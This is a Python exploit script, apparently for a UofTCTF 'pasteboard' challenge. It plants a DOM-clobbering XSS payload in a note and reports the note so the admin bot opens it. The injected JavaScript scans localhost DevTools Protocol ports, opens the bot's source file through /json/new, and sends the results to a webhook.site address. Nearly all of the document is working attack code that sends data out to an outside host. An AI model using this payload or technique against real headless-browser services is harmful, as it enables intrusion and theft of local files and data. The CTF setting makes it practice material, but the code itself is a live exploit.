#!/usr/bin/env python3
"""
CDP Common Ports Scanner - Tests most likely CDP ports first
"""
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"

# Most common CDP ports to try first
# 9222 = default CDP, 32768-32780 = first ephemeral ports
payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,(async()=>{{let%20w=\'{WEBHOOK}\';let%20ports=[9222,9223,9224,9225,32768,32769,32770,32771,32772,32773,32774,32775];await%20fetch(w+\'?step=starting\');for(let%20p%20of%20ports){{try{{let%20r=await%20fetch(\'http://localhost:\'+p+\'/json/version\');if(r.ok){{let%20d=await%20r.text();await%20fetch(w+\'?step=found&port=\'+p,{{method:\'POST\',body:d}});let%20o=await%20fetch(\'http://localhost:\'+p+\'/json/new?file:///app/bot.py\',{{method:\'PUT\'}});let%20od=await%20o.text();await%20fetch(w+\'?step=opened&port=\'+p,{{method:\'POST\',body:od}});break;}}}}catch(e){{await%20fetch(w+\'?step=error_port=\'+p+\'&err=\'+e.message);}}}}await%20fetch(w+\'?step=done\');}})();"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("🎯 CDP COMMON PORTS SCANNER")
print("="*80)
print("Testing common ports: 9222-9225, 32768-32775")
print("="*80)

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "CDP Common Ports", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued!")
        print(f"\n{'='*80}")
        print(f"📊 Check webhook: {WEBHOOK}")
        print(f"{'='*80}")
        print("\nLook for:")
        print("  - step=starting → Scan began")
        print("  - step=found&port=XXXX → CDP discovered!")
        print("  - step=opened&port=XXXX → bot.py opened!")
        print("  - step=error_port=XXXX → Failed at specific port")
        print("  - step=done → All ports tested")
        print("\n⏰ Should complete in ~10 seconds")
        print("="*80)
    else:
        print(f"[-] Failed: {report_response.status_code}")
else:
    print(f"[-] Failed to create paste: {response.status_code}")
